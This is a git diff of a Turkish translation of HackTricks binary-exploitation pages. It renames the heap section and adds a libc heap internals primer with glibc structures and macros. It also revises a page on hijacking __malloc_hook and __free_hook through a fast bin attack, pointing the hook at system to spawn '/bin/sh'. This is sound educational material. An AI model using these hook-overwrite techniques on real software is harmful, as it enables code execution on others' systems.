Translated ['binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc

SUMMARY.md

@@ -722,31 +722,31 @@
 * [Format Strings](binary-exploitation/format-strings/README.md)
   * [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
   * [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
-* [Heap](binary-exploitation/heap/README.md)
+* [Libc Heap](binary-exploitation/libc-heap/README.md)
-  * [Bins & Memory Allocations](binary-exploitation/heap/bins-and-memory-allocations.md)
+  * [Bins & Memory Allocations](binary-exploitation/libc-heap/bins-and-memory-allocations.md)
-  * [Heap Memory Functions](binary-exploitation/heap/heap-memory-functions/README.md)
+  * [Heap Memory Functions](binary-exploitation/libc-heap/heap-memory-functions/README.md)
-    * [free](binary-exploitation/heap/heap-memory-functions/free.md)
+    * [free](binary-exploitation/libc-heap/heap-memory-functions/free.md)
-    * [malloc & sysmalloc](binary-exploitation/heap/heap-memory-functions/malloc-and-sysmalloc.md)
+    * [malloc & sysmalloc](binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md)
-    * [unlink](binary-exploitation/heap/heap-memory-functions/unlink.md)
+    * [unlink](binary-exploitation/libc-heap/heap-memory-functions/unlink.md)
-    * [Heap Functions Security Checks](binary-exploitation/heap/heap-memory-functions/heap-functions-security-checks.md)
+    * [Heap Functions Security Checks](binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md)
-  * [Use After Free](binary-exploitation/heap/use-after-free/README.md)
+  * [Use After Free](binary-exploitation/libc-heap/use-after-free/README.md)
-    * [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
+    * [First Fit](binary-exploitation/libc-heap/use-after-free/first-fit.md)
-  * [Double Free](binary-exploitation/heap/double-free.md)
+  * [Double Free](binary-exploitation/libc-heap/double-free.md)
-  * [Overwriting a freed chunk](binary-exploitation/heap/overwriting-a-freed-chunk.md)
+  * [Overwriting a freed chunk](binary-exploitation/libc-heap/overwriting-a-freed-chunk.md)
-  * [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
+  * [Heap Overflow](binary-exploitation/libc-heap/heap-overflow.md)
-  * [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
+  * [Unlink Attack](binary-exploitation/libc-heap/unlink-attack.md)
-  * [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md)
+  * [Fast Bin Attack](binary-exploitation/libc-heap/fast-bin-attack.md)
-  * [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md)
+  * [Unsorted Bin Attack](binary-exploitation/libc-heap/unsorted-bin-attack.md)
-  * [Large Bin Attack](binary-exploitation/heap/large-bin-attack.md)
+  * [Large Bin Attack](binary-exploitation/libc-heap/large-bin-attack.md)
-  * [Tcache Bin Attack](binary-exploitation/heap/tcache-bin-attack.md)
+  * [Tcache Bin Attack](binary-exploitation/libc-heap/tcache-bin-attack.md)
-  * [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
+  * [Off by one overflow](binary-exploitation/libc-heap/off-by-one-overflow.md)
-  * [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
+  * [House of Spirit](binary-exploitation/libc-heap/house-of-spirit.md)
-  * [House of Lore | Small bin Attack](binary-exploitation/heap/house-of-lore.md)
+  * [House of Lore | Small bin Attack](binary-exploitation/libc-heap/house-of-lore.md)
-  * [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
+  * [House of Einherjar](binary-exploitation/libc-heap/house-of-einherjar.md)
-  * [House of Force](binary-exploitation/heap/house-of-force.md)
+  * [House of Force](binary-exploitation/libc-heap/house-of-force.md)
-  * [House of Orange](binary-exploitation/heap/house-of-orange.md)
+  * [House of Orange](binary-exploitation/libc-heap/house-of-orange.md)
-  * [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md)
+  * [House of Rabbit](binary-exploitation/libc-heap/house-of-rabbit.md)
-  * [House of Roman](binary-exploitation/heap/house-of-roman.md)
+  * [House of Roman](binary-exploitation/libc-heap/house-of-roman.md)
 * [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
   * [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
     * [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)

binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md

@@ -2,23 +2,23 @@
 
 <details>
 
-<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
 HackTricks'ı desteklemenin diğer yolları:
 
 * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
 * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
 
 </details>
 
 ## **Malloc Hook**
 
-[Resmi GNU sitesine](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html) göre, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **libc kütüphanesinin veri bölümünde depolanan bir işlevin adresine işaret eden bir işaretçidir**. Bu nedenle, bu adres örneğin bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
+[Resmi GNU sitesine](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html) göre **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **libc kütüphanesinin veri bölümünde depolanan bir işlevin adresine işaret eden bir işaretçidir**. Bu nedenle, bu adres örneğin bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
 
-Malloc'ı çağırmak için programın onu çağırmasını beklemek mümkündür veya **`printf("%10000$c")`** çağrısını yaparak `libc`'nin bunları yığında ayırmak için malloc çağırmasını sağlamak mümkündür.
+Malloc'ı çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")`** çağrarak çağırmak mümkündür, bu da çok fazla bellek ayırarak `libc`'nin bunları yığında ayırmasını sağlar.
 
 One Gadget hakkında daha fazla bilgi için:
 
@@ -32,18 +32,18 @@ Kancaların **GLIBC >= 2.34** için **devre dışı bırakıldığını** unutma
 
 ## Free Hook
 
-Bu, bir hızlı bin saldırısını kötüye kullanan sayfadan bir örnekte kötüye kullanıldı:
+Bu, bir hızlı bin saldırısını kötüye kullanan sayfadan kötüye kullanılan bir sıralanmamış bin saldırısını kötüye kullanan bir örnekte kötüye kullanılmıştır:
 
-{% content-ref url="../heap/unsorted-bin-attack.md" %}
+{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
-[unsorted-bin-attack.md](../heap/unsorted-bin-attack.md)
+[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
 {% endcontent-ref %}
 
-Eğer ikili sembolleri olan bir ikili varsa **şu gibi bir şey yapmak** için güzel bir hile (buradan alınmıştır: [**buradan**](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)) serbest kancanın konumunu bulmak:
+Eğer ikili sembollere sahipse, **sembolleri olan bir ikili ise free hook'un konumunu bulmanın güzel bir hilesi** şöyle yapmaktır:
 ```
 gef➤  set __free_hook = 0xfacade
 gef➤  search-pattern 0xfacade
 ```
-Aynı yazıda, semboller olmadan free hook'un adresini bulma adım adım kılavuzunu bulabilirsiniz. Özet olarak, free fonksiyonunda:
+Aynı yazıda, semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özet olarak, free fonksiyonunda:
 
 ```armasm
 gef➤  x/20i free
@@ -54,11 +54,11 @@ gef➤  x/20i free
 0xf75dedcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
 0xf75dedd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
 0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]
-0xf75deddb <free+27>:  test   eax,eax ;<--- BREAK HERE
+0xf75deddb <free+27>:  test   eax,eax ;<--- BURADA DUR
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 ```
 
-Önceki kodun belirtilen kırılma noktasında `$eax` içinde free hook'un adresi bulunacaktır.
+Önceki kodun belirttiği duraklama noktasında `$eax` içinde free hook'un adresi bulunacaktır.
 
 Şimdi bir **hızlı bin saldırısı** gerçekleştiriliyor:
 
@@ -76,10 +76,10 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 ```
 
 - Bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, yürütülecek bir fonksiyon işaretçisini üzerine yazmak mümkün olacaktır.
-- Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş fonksiyon o işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçanın boyutu `0xfc*2 = 0x1f8` olan bir parçanın işaretçisine ulaşılır.
+- Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş fonksiyon o işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçanın boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır.
-- Ardından, bu parçada **`fd`** adresini değiştirmek için edit fonksiyonu çağrılır ve bu hızlı parçanın **`__free_hook`** fonksiyonuna işaret etmesi sağlanır.
+- Ardından, bu parçada **`fd`** adresini değiştirmek için düzenleme fonksiyonu çağrılır ve bu hızlı parçanın **`__free_hook`** fonksiyonuna işaret etmesi sağlanır.
 - Daha sonra, hızlı bir parçadan önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde **`system`** fonksiyonunun adresiyle üzerine yazılmış bir hızlı parça parçası alınır.
-- Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça silinerek delete fonksiyonu çağrılır, **`__free_hook`** fonksiyonu tetiklenir ve `/bin/sh\x00` parametresiyle system fonksiyonuna işaret eder.
+- Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılarak silme fonksiyonu çağrılır, **`__free_hook`** fonksiyonu tetiklenir ve `/bin/sh\x00` parametresiyle sistem fonksiyonuna işaret eder.
 
 ## Referanslar
 

binary-exploitation/libc-heap/README.md

@@ -0,0 +1,501 @@
+# Heap
+
+## Heap Temelleri
+
+Heap, bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri istediğinde verileri depolayabileceği yerdir. Ayrıca, bu belleğe artık ihtiyaç duyulmadığında **`free`** fonksiyonu çağrılarak serbest bırakılır.
+
+Görüldüğü gibi, bu bellek, binary belleğe yüklendikten hemen sonra ( `[heap]` bölümünü kontrol edin) bulunmaktadır:
+
+<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
+
+### Temel Parça Tahsisi
+
+Heap'e depolanacak veri istendiğinde, heap'in bir kısmı buna ayrılır. Bu alan bir bine ait olacak ve yalnızca istenen veri + bin başlıklarının alanı + minimum bin boyutu ofseti parçaya ayrılacaktır. Amaç, her parçanın nerede olduğunu bulmayı karmaşık hale getirmeden mümkün olduğunca az bellek ayırmaktır. Bunun için, kullanılan/her parçanın nerede olduğunu bilmek için parça bilgileri kullanılır.
+
+Kullanılan bine bağlı olarak alanı ayırmak için farklı yöntemler vardır, ancak genel bir metodoloji şöyledir:
+
+* Program belirli miktarda bellek isteyerek başlar.
+* İstek karşılayacak kadar büyük bir parça parça listesinde varsa, kullanılır.
+* Bu, isteğin bir kısmı için kullanılabilir parçanın kullanılacağı anlamına gelebilir ve geri kalanı parça listesine eklenir.
+* Liste içinde uygun bir parça yoksa ancak ayrılmış heap belleğinde hala yer varsa, heap yöneticisi yeni bir parça oluşturur.
+* Yeni bir parça tahsis etmek için yeterli heap alanı yoksa, heap yöneticisi çekirdeğe heap'e ayrılan belleği genişletmesini ister ve ardından bu belleği kullanarak yeni parçayı oluşturur.
+* Her şey başarısız olursa, `malloc` null döner.
+
+İstenen belleğin bir eşiği geçerse, **`mmap`** kullanılarak istenen bellek eşlenir.
+
+## Arenalar
+
+**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisinin çökmelere yol açabilecek **yarış koşullarını** önlemesi gerekir. Başlangıçta, bunu sadece bir iş parçacığının aynı anda heap'e erişebileceğinden emin olmak için bir **global kilitle** yapardı, ancak bu, kilitleme nedeniyle performans sorunlarına yol açtı.
+
+Bunu ele almak için, ptmalloc2 heap tahsisçısı, her birinin **kendi** veri **yapıları** ve **kilidi** olan **ayrı bir heap** olarak hareket eden "arenaları" tanıttı, böylece farklı arenaları kullansalar bile birden fazla iş parçacığının birbirini etkilemeden heap işlemleri yapmasına izin verir.
+
+Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi çekişmeyi azaltmak için onlara **ikincil arenalar** atar. Her yeni iş parçacığını kullanılmayan bir arenaya eklemeye çalışır, gerektiğinde yeni arenalar oluşturur, 32 bit sistemler için CPU çekirdek sayısının 2 katı ve 64 bit sistemler için 8 katı kadar bir sınıra ulaşana kadar. Sınır aşıldığında, **iş parçacıkları arenaları paylaşmak zorunda kalır**, potansiyel çekişmelere yol açar.
+
+Ana arenanın aksine, genişleyen `brk` sistem çağrısını kullanan ana arenalar, çoklu iş parçacıklı işlemler için belleği yönetme esnekliği sağlayan `mmap` ve `mprotect` kullanarak "alt heap"ler oluşturur.
+
+### Alt Heap'ler
+
+Alt heap'ler, çoklu iş parçacıklı uygulamalardaki ikincil arenalar için bellek rezervleri olarak hizmet eder, böylece bunlar ana heap'ten ayrı olarak kendi heap bölgelerini büyütebilir ve yönetebilir. İşte alt heap'lerin başlangıç ​​heap'inden nasıl farklı olduğu ve nasıl çalıştığı:
+
+1. **Başlangıç Heap'i vs. Alt Heap'ler**:
+* Başlangıç heap'i, programın binary'sinin hemen ardında bulunur ve `sbrk` sistem çağrısını kullanarak genişler.
+* İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini eşleyen `mmap` kullanılarak oluşturulur.
+2. **`mmap` ile Bellek Rezervasyonu**:
+* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; sadece diğer sistem işlemlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
+* Varsayılan olarak, 32 bit işlemler için bir alt heap için ayrılan boyut 1 MB, 64 bit işlemler için ise 64 MB'dir.
+3. **`mprotect` ile Aşamalı Genişleme**:
+* Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana henüz fiziksel bellek tahsis etmesi gerekmeyeceğini gösterir.
+* Alt heap'i "genişletmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`dan `PROT_READ | PROT_WRITE`'a değiştirir, böylece çekirdek önceden rezerve edilen adreslere fiziksel bellek tahsis etmeye zorlanır. Bu adım adım yaklaşım, alt heap'in ihtiyaç duyuldukça genişlemesine olanak tanır.
+* Tüm alt heap tükenene kadar, heap yöneticisi devam etmek için yeni bir alt heap oluşturur.
+
+### heap\_info <a href="#heap_info" id="heap_info"></a>
+
+Bu yapı, heap'in ilgili bilgilerini ayırır. Ayrıca, daha fazla tahsis yapıldıktan sonra heap belleğinin sürekli olmayabileceği durumları da saklar.
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
+
+typedef struct _heap_info
+{
+mstate ar_ptr; /* Arena for this heap. */
+struct _heap_info *prev; /* Previous heap. */
+size_t size;   /* Current size in bytes. */
+size_t mprotect_size; /* Size in bytes that has been mprotected
+PROT_READ|PROT_WRITE.  */
+size_t pagesize; /* Page size used when allocating the arena.  */
+/* Make sure the following data is properly aligned, particularly
+that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
+MALLOC_ALIGNMENT. */
+char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
+} heap_info;
+```
+### malloc\_state
+
+**Her heap** (ana arena veya diğer thread'lerin arenaları) bir **`malloc_state` yapısına** sahiptir.\
+Önemli bir nokta, **ana arena `malloc_state`** yapısının **libc içinde global bir değişken** olduğudur (bu nedenle libc bellek alanında bulunur).\
+Thread'lerin arenalarının **`malloc_state`** yapıları durumunda, bunlar **kendi thread "heap"lerinin içinde** bulunur.
+
+Bu yapıdan (aşağıdaki C koduna bakınız) dikkat çekici bazı şeyler vardır:
+
+* `__libc_lock_define (, mutex);` Bu, bu yapıya sadece 1 thread'in erişmesini sağlamak içindir
+* Bayraklar:
+* ```c
+#define NONCONTIGUOUS_BIT     (2U)
+
+#define contiguous(M)          (((M)->flags & NONCONTIGUOUS_BIT) == 0)
+#define noncontiguous(M)       (((M)->flags & NONCONTIGUOUS_BIT) != 0)
+#define set_noncontiguous(M)   ((M)->flags |= NONCONTIGUOUS_BIT)
+#define set_contiguous(M)      ((M)->flags &= ~NONCONTIGUOUS_BIT)
+```
+* `mchunkptr bins[NBINS * 2 - 2];` küçük, büyük ve sırasız **bins**'lerin **ilk ve son parçalarına işaretçiler** içerir (-2, çünkü indeks 0 kullanılmaz)
+* Dolayısıyla, bu bins'lerin **ilk parçası** bu yapıya **ters işaretçiye sahip olacak** ve bu bins'lerin **son parçası** bu yapıya **ileri işaretçiye sahip olacak**. Temelde, eğer bu adresleri **ana arenada sızdırabilirseniz**, **libc** içindeki yapıya bir işaretçiye sahip olacaksınız.
+* `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapılarının bağlı listeleri vardır
+* `top` parçası son "parça"dır, yani temelde **tüm heap hatırlama alanıdır**. Top parçası "boş" olduğunda, heap tamamen kullanılmış olur ve daha fazla alan istenmesi gerekir.
+* `last reminder` parçası, tam bir boyutta parça bulunamadığı durumlarda ve bu nedenle daha büyük bir parça bölündüğünde, buraya kalan kısım yerleştirilir.
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
+
+struct malloc_state
+{
+/* Serialize access.  */
+__libc_lock_define (, mutex);
+
+/* Flags (formerly in max_fast).  */
+int flags;
+
+/* Set if the fastbin chunks contain recently inserted free blocks.  */
+/* Note this is a bool but not all targets support atomics on booleans.  */
+int have_fastchunks;
+
+/* Fastbins */
+mfastbinptr fastbinsY[NFASTBINS];
+
+/* Base of the topmost chunk -- not otherwise kept in a bin */
+mchunkptr top;
+
+/* The remainder from the most recent split of a small request */
+mchunkptr last_remainder;
+
+/* Normal bins packed as described above */
+mchunkptr bins[NBINS * 2 - 2];
+
+/* Bitmap of bins */
+unsigned int binmap[BINMAPSIZE];
+
+/* Linked list */
+struct malloc_state *next;
+
+/* Linked list for free arenas.  Access to this field is serialized
+by free_list_lock in arena.c.  */
+struct malloc_state *next_free;
+
+/* Number of threads attached to this arena.  0 if the arena is on
+the free list.  Access to this field is serialized by
+free_list_lock in arena.c.  */
+INTERNAL_SIZE_T attached_threads;
+
+/* Memory allocated from the system in this arena.  */
+INTERNAL_SIZE_T system_mem;
+INTERNAL_SIZE_T max_system_mem;
+};
+```
+### malloc\_chunk
+
+Bu yapı belirli bir bellek parçasını temsil eder. Çeşitli alanlar ayrılmış ve ayrılmamış parçalar için farklı anlamlara sahiptir.
+```c
+// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
+struct malloc_chunk {
+INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk, if it is free. */
+INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
+struct malloc_chunk* fd;                /* double links -- used only if this chunk is free. */
+struct malloc_chunk* bk;
+/* Only used for large blocks: pointer to next larger size.  */
+struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
+struct malloc_chunk* bk_nextsize;
+};
+
+typedef struct malloc_chunk* mchunkptr;
+```
+Daha önce belirtildiği gibi, bu parçaların da bazı meta verileri bulunmaktadır, bu meta veriler aşağıdaki resimde çok iyi temsil edilmiştir:
+
+<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
+
+Meta veriler genellikle mevcut parça boyutunu belirten 0x08B değerini gösterir ve son 3 bit şunları belirtmek için kullanılır:
+
+* `A`: 1 ise alt heap'ten gelir, 0 ise ana arenada bulunur
+* `M`: 1 ise bu parça mmap ile ayrılan bir alana aittir ve heap'in bir parçası değildir
+* `P`: 1 ise önceki parça kullanımdadır
+
+Ardından, kullanıcı verileri için alan ve son olarak parça kullanımda olduğunda önceki parça boyutunu belirtmek için 0x08B değeri bulunur (veya ayrıldığında kullanıcı verilerini saklamak için).
+
+Ayrıca, kullanılabilir olduğunda, kullanıcı verileri aynı zamanda bazı verileri de içerecek şekilde kullanılır:
+
+* **`fd`**: Bir sonraki parçanın işaretçisi
+* **`bk`**: Önceki parçanın işaretçisi
+* **`fd_nextsize`**: Kendisinden daha küçük olan listenin ilk parçasına işaretçi
+* **`bk_nextsize`:** Kendisinden daha büyük olan listenin ilk parçasına işaretçi
+
+
+
+<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
+
+{% hint style="info" %}
+Listeyi bu şekilde bağlamak, her bir parçanın kaydedilmesi gereken bir dizinin oluşturulmasına gerek olmadan listeyi oluşturmanın gerekliliğini ortadan kaldırır.
+{% endhint %}
+
+### Parça İşaretçileri
+
+malloc kullanıldığında yazılabilir içeriğe işaret eden bir işaretçi döndürülür (başlık alanından hemen sonra), ancak parçalar yönetilirken, başlık alanının (meta veriler) başlangıcına bir işaretçiye ihtiyaç vardır. Bu dönüşümler için aşağıdaki fonksiyonlar kullanılır:
+```c
+// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
+
+/* Convert a chunk address to a user mem pointer without correcting the tag.  */
+#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
+
+/* Convert a user mem pointer to a chunk address and extract the right tag.  */
+#define mem2chunk(mem) ((mchunkptr)tag_at (((char*)(mem) - CHUNK_HDR_SZ)))
+
+/* The smallest possible chunk */
+#define MIN_CHUNK_SIZE        (offsetof(struct malloc_chunk, fd_nextsize))
+
+/* The smallest size we can malloc is an aligned minimal chunk */
+
+#define MINSIZE  \
+(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
+```
+### Hizalama ve minimum boyut
+
+Parçanın işaretçisi ve `0x0f` değeri 0 olmalıdır.
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
+#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
+
+// https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/i386/malloc-alignment.h
+#define MALLOC_ALIGNMENT 16
+
+
+// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
+/* Check if m has acceptable alignment */
+#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
+
+#define misaligned_chunk(p) \
+((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
+& MALLOC_ALIGN_MASK)
+
+
+/* pad request bytes into a usable size -- internal version */
+/* Note: This must be a macro that evaluates to a compile time constant
+if passed a literal constant.  */
+#define request2size(req)                                         \
+(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
+MINSIZE :                                                      \
+((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
+
+/* Check if REQ overflows when padded and aligned and if the resulting
+value is less than PTRDIFF_T.  Returns the requested size or
+MINSIZE in case the value is less than MINSIZE, or 0 if any of the
+previous checks fail.  */
+static inline size_t
+checked_request2size (size_t req) __nonnull (1)
+{
+if (__glibc_unlikely (req > PTRDIFF_MAX))
+return 0;
+
+/* When using tagged memory, we cannot share the end of the user
+block with the header for the next chunk, so ensure that we
+allocate blocks that are rounded up to the granule size.  Take
+care not to overflow from close to MAX_SIZE_T to a small
+number.  Ideally, this would be part of request2size(), but that
+must be a macro that produces a compile time constant if passed
+a constant literal.  */
+if (__glibc_unlikely (mtag_enabled))
+{
+/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551.  */
+asm ("");
+
+req = (req + (__MTAG_GRANULE_SIZE - 1)) &
+~(size_t)(__MTAG_GRANULE_SIZE - 1);
+}
+
+return request2size (req);
+}
+```
+### Parça verilerini alın ve meta verileri değiştirin
+
+Bu işlevler, bir parça işaretçisi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için kullanışlıdır:
+
+* Parça bayraklarını kontrol edin
+```c
+// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
+
+
+/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
+#define PREV_INUSE 0x1
+
+/* extract inuse bit of previous chunk */
+#define prev_inuse(p)       ((p)->mchunk_size & PREV_INUSE)
+
+
+/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
+#define IS_MMAPPED 0x2
+
+/* check for mmap()'ed chunk */
+#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
+
+
+/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
+from a non-main arena.  This is only set immediately before handing
+the chunk to the user, if necessary.  */
+#define NON_MAIN_ARENA 0x4
+
+/* Check for chunk from main arena.  */
+#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
+
+/* Mark a chunk as not being on the main arena.  */
+#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
+```
+* Boyutlar ve diğer parçaların işaretçileri
+```c
+/*
+Bits to mask off when extracting size
+
+Note: IS_MMAPPED is intentionally not masked off from size field in
+macros for which mmapped chunks should never be seen. This should
+cause helpful core dumps to occur if it is tried by accident by
+people extending or adapting this malloc.
+*/
+#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+
+/* Get size, ignoring use bits */
+#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
+
+/* Like chunksize, but do not mask SIZE_BITS.  */
+#define chunksize_nomask(p)         ((p)->mchunk_size)
+
+/* Ptr to next physical malloc_chunk. */
+#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
+
+/* Size of the chunk below P.  Only valid if !prev_inuse (P).  */
+#define prev_size(p) ((p)->mchunk_prev_size)
+
+/* Set the size of the chunk below P.  Only valid if !prev_inuse (P).  */
+#define set_prev_size(p, sz) ((p)->mchunk_prev_size = (sz))
+
+/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */
+#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
+
+/* Treat space at ptr + offset as a chunk */
+#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
+```
+* İnceleme yapın.
+```c
+/* extract p's inuse bit */
+#define inuse(p)							      \
+((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
+
+/* set/clear chunk as being inuse without otherwise disturbing */
+#define set_inuse(p)							      \
+((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
+
+#define clear_inuse(p)							      \
+((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
+
+
+/* check/set/clear inuse bits in known places */
+#define inuse_bit_at_offset(p, s)					      \
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
+
+#define set_inuse_bit_at_offset(p, s)					      \
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
+
+#define clear_inuse_bit_at_offset(p, s)					      \
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
